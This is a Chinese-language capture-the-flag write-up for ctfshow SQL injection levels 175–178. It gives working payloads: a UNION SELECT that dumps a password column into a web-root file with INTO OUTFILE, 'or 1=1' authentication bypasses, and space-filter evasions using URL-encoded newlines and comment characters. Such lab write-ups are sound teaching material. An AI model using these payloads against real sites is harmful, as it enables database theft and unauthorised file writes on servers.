175
//检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag了
可以通过文件写入得到flag
0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
查询到flag后,将他传入同目录下的/var/www/html\目录并创建1.txt文件
然后可以直接访问1.txt文件
flag:ctfshow{0ccc2b5c-171c-4fd0-9dde-6c411748dbc0}
176
//对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
不知道怎么过滤,先试试万能密码
1'or 1=1 --+
原本在想思路,突然心血来潮随便翻翻
直接爆出来了
flag:ctfshow{8762f05d-266a-4b50-b4d2-fad994ab136e}
177
//对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
依然不展示过滤
试试1' or 1=1 #
无数据输出,应该是过滤了什么
再试1 ,也无数据,应该过滤了空格
1'%0aor%0a1=1%23
这也不对,应该还有什么被过滤
试试#
over
空格可以用换行符或者/**/注释符替换。在大多时候他们相等
flag:ctfshow{482bc341-d48c-43ca-9232-68e4eed4ec29}
178
依然不展示过滤
试试1' or 1=1 #
有过滤
试试上一题的payload
1'%0aor%0a1=1%23
没想到成功了
flag:ctfshow{01a0001b-d48f-4460-9a3f-7130fb1ffc5a}
网友评论